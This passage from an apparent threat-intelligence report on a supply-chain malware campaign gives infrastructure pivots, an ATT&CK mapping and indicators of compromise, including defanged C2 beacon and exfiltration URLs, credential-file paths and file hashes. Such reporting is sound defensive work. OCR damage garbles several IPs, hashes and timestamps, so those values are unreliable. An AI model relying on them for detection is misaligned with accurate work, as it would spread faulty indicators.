infrastructure.

The expected result was the known primary C2. The second result, 35.192.220[,]222, was not present in any prior

reporting.

35.192.220[.]222 reverse-resolves to a Google Cloud hostname in the googleusercontent.com space, placing it in

AS396982 operated by Google LLC in the United States. The matching header fingerprint was active on this
address from April 16 to April 22, 2026, a period that falls between the initial TanStack campaign and the date of
this analysis. This overlap indicates the operator deployed the same server software configuration used on

83.142.209][.]194 to a Google Cloud instance, likely as an additional or backup C2 node that would not appear in

blocklists targeting the Ghosty Networks subnet.

The SQL pivot query and its results are shown below.

SELECT

ip, port, min(timestamp), max(timestamp)
FROM

httpv2
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WHERE

http.headers.redacted.hash.sha256 == "ec629e05a4e39b589826519254e85582143376204804963b047db904fb296b2e"
AND

timestamp > NOW - 30 DAY

GROUP BY 1ip, port

SQL Explorer B Docs GA

v

SQL Editor o * C > Run <> Format () 0]

(timestamp), timestamp

Dataset:  Results

Results
2

Download v

min(timestamp) max(timestamp)

2 35.192.220.222 2026-04-16T20:45:32 2026-04-22T16:44:21

2 83142.209.194 2026-05-12T708:31:45 2026-05-12T723:53:18

Figure 20. hunt.io SQL query pivoting on the HTTP header fingerprint hash of 83.142.209[.]194, returning a
second matching IP at 35.192.220[.]222 on Google Cloud infrastructure

The GCP address doesn't stand alone. Its TLS certificate relationships connect it to three additional hosts worth

flagging for teams with relevant telemetry.

Certificate Clustering from the GCP Pivot

35.192.220].]222 reveals three TLS certificate relationships linking it to additional Google Cloud IP addresses.
Two of the three associated IPs 34.66.134[.]145 and 136.115.211[,.]254share a common SSL certificate fingerprint
(SHA-256: C93668EA2A7AC2E53E52989C22CDFCEEA2FBES262A865B59A3A896C108492D0E), indicating

they were provisioned together or from the same certificate authority configuration. The third associated IP,
35.188.190].]218, is linked to 35.192.220[.]222 through a distinct TLS certificate (SHA-256:
E3E63C89E8CA0628DA5SAED9340A9COE95SE6007D60A0217F8017COESF5FA95423) that is not shared with

the other two addresses.
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These addresses have not been confirmed as actor-controlled at the time of writing. The certificate sharing
relationship places them within the same provisioning context as 35.192.220[.]222 and warrants investigation by

teams with telemetry covering Google Cloud-hosted traffic from the March through May 2026 timeframe.
The certificate association's view is shown below.

35.192.220.222 AS396982
Google LLC & US
(5 Google - User Content (instance hostnames & user content)

0 Associations (3 O History

o Certificates (3

Certificates

P Company Country SSL Fingerprint
Google LLC

Google LLC

Google LLC

Figure 21. hunt.io associations view for 35.192.220[.]222 showing three shared TLS certificate relationships with
additional Google Cloud IPs at 34.66.134[.]145, 35.188.190[.]218, and 136.115.211[.]254

The techniques documented across the toolkit map to the following ATT&CK coverage.

MITRE ATT&CK Mapping

TACTIC TECHNIQUE ID

Initial Access Supply Chain Compromise --- Software Dependencies T1195.001
Execution Command and Scripting Interpreter: Python T1059.006
Execution Shared Modules T1129
Persistence Create or Modify System Process: Systemd Service T1543.002
Defense Evasion Virtualization/Sandbox Evasion: System Checks T1497.001
Defense Evasion Obfuscated Files or Information T1027
Defense Evasion Indicator Removal: File Deletion T1070.004
Defense Evasion Hide Artifacts: Proc Filesystem T1564.006
Credential Access Unsecured Credentials: Credentials in Files T1552.001
Credential Access Unsecured Credentials: Container API T1552.007
Discovery Cloud Infrastructure Discovery T1580
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TACTIC TECHNIQUE ID
Discovery Container and Resource Discovery T1613
Collection Data from Local System T1005
Collection Automated Collection T1119
Command and Control Web Service: Dead Drop Resolver T1102.001
Command and Control Encrypted Channel: Asymmetric Cryptography T1573.002
Exfiltration Exfiltration Over C2 Channel T1041
Exfiltration Exfiltration to Code Repository T1567.001
Impact Data Destruction T1485

All confirmed network indicators, host artifacts, and file hashes from this analysis are listed below for direct use

in detection and hunting workflows.

Indicators of Compromise
Indicators are grouped by type. IPv4 addresses are presented in defanged notation. All hashes are SHA-256.

Network Indicators

TYPE INDICATOR CONTEXT

IPv4 83.142.209[.]11 TeamPCP C2

IPv4 83.142.209[.]1194 Primary C2

IPv4 83.142.209[.]203 TeamPCP C2

CIDR 83.142.209[.]0/24 TeamPCP dedicated infrastructure block
URL hxxps://83.142.209[.]1194/v1/models Primary C2 beacon

URL hxxps://83.142.209[.]1194/v1/weights Data exfiltration endpoint

URL hxxps://83.142.209[.]1194/audio[.]Jmp3 Wiper audio (RunForCover.mp3)

q=FIRESCALE

API FIRESCALE dead-drop query

HTTP fingerprint pivot from

IPv4 35.192.220][.]222
83.142.209[.]1194

IPv4 34.66.134/[.]1145 Certificate cluster lead
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INDICATOR

IPv4 35.188.190[.1218

IPv4 136.115.211[.]254

Account and Organization Indicators

TYPE
GitHub Org
GitHub User
Repo Pattern

Repo Desc

Host Indicators

TYPE
Filename
Service
Filename
Path
Domain
Pattern

Path

INDICATOR
push-ur-t3mprr
voicproducoes
[WORD]-[WORD]-[100-999]

PUSH UR T3MPRR

INDICATOR
pgmonitor.py
pgsql-monitor.service
RunForCover.mp3
/tmp/kubectl
dl.k8s[.lio
/proc/self/fd/*

~/.config/kilo/config.json

CONTEXT
Certificate cluster lead

Certificate cluster lead

CONTEXT

Fallback exfil staging

Supply chain operator

Generated names from Slavic word list

Fixed description on all staging repositories

CONTEXT

Persistence payload

Systemd unit

Wiper audio

kubectl auto-download staging path
kubectl v1.28.0 download source
In-memory cert loading

Kilo Code Al editor credential file

File Hashes(SHA-256) - All 13 Confirmed Toolkit Components

# SHA-256

1 552b159317005417fe2755ff502e05c618a2f568d646dBaa61edad9e02cf16b1

DESCRIPTION

eC?2 orchestrator,
FIRESCALE, exfil

chain

platform/locale/CPU

2 c234e6e5f5366cf1a703e62a995a7a0511583ca703c7c9d0590965342eb4c4e8

gates, pip install
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# SHA-256 DESCRIPTION

a parallel collector
3 eeee34f2db5cb3eb5e5877¢93e2250d44128c470d24fad38885bbfdab452de09 dispatch
ispatc

rpersistence, wiper,
4 a3784a1502fbe0546f7195706a40628ec7bbe9825b0f54dd7ab7a8713874d65b di
audio

files, env, SSH, .env,
Docker, VPN, tfstate

5 50d88c81cac859cb0f446a30229b64336ef4f682aled12e1f4cfa03758d57042

6 630333cc3950387605ad09a528506053e4ff36cee08547b8424958d742a5eac7 ~ password_managers.py

Secrets Manager +
7 03cdeb175f6f3d79aecal71841f83d10fff83143b2bc61a22c15f1ccfe484£27 SSM, 19 regions, all

profiles

service account,

refresh token, IMDS

8 4c37£2239888b689d67a193bbd7864d33641c9343574412470b4£882aefbff5¢

env var, file, AppRole,
CLI

9 0eb70f94b82aa24ae8f69d6644f17cal173b1318a0d30af142d8f76a5175aa49

k kubeconfig parser,
10  ed81603bb88d8060deb46b474a515d49bb71ca0832a3f6d854b4b886bff25842
memfd_create, kubectl

SigV4 (secretsmanager
11 3b48fb6375ca66dba4b38c001a635b53a4e9ebee233a4ff3ac6352674f4ddc38 header bug)
eader bug

Conclusion

Prior reporting on this campaign documented the delivery mechanism. This report documents what runs after it.
The toolkit is more capable, more resilient, and more sophisticated than any previous TeamPCP analysis described
- and the infrastructure pivot is where this analysis goes further than static reverse engineering alone. A Google
Cloud node sharing an identical HTTP header fingerprint with the primary C2 was active during April 2026 and
absent from every existing blocklist. Three additional addresses linked through certificate clustering are flagged as

unconfirmed leads. None of these surfaces from a subnet-anchored hunt.

The pre-campaign timestamps extend the picture further. Both confirmed C2 addresses were internet-routable
from November 2025, four months before the supply chain attack started. That window is still queryable for any
organization with historical network telemetry, and the detection signals this analysis documents - the
FIRESCALE query string, the credential file paths, the pgsql-monitor service name - hold their value after the

operator rotates infrastructure, because none of them depend on a fixed address.

To see how Hunt.io's infrastructure hunting and HuntSQL apply to campaigns you're actively tracking,

book a demo.
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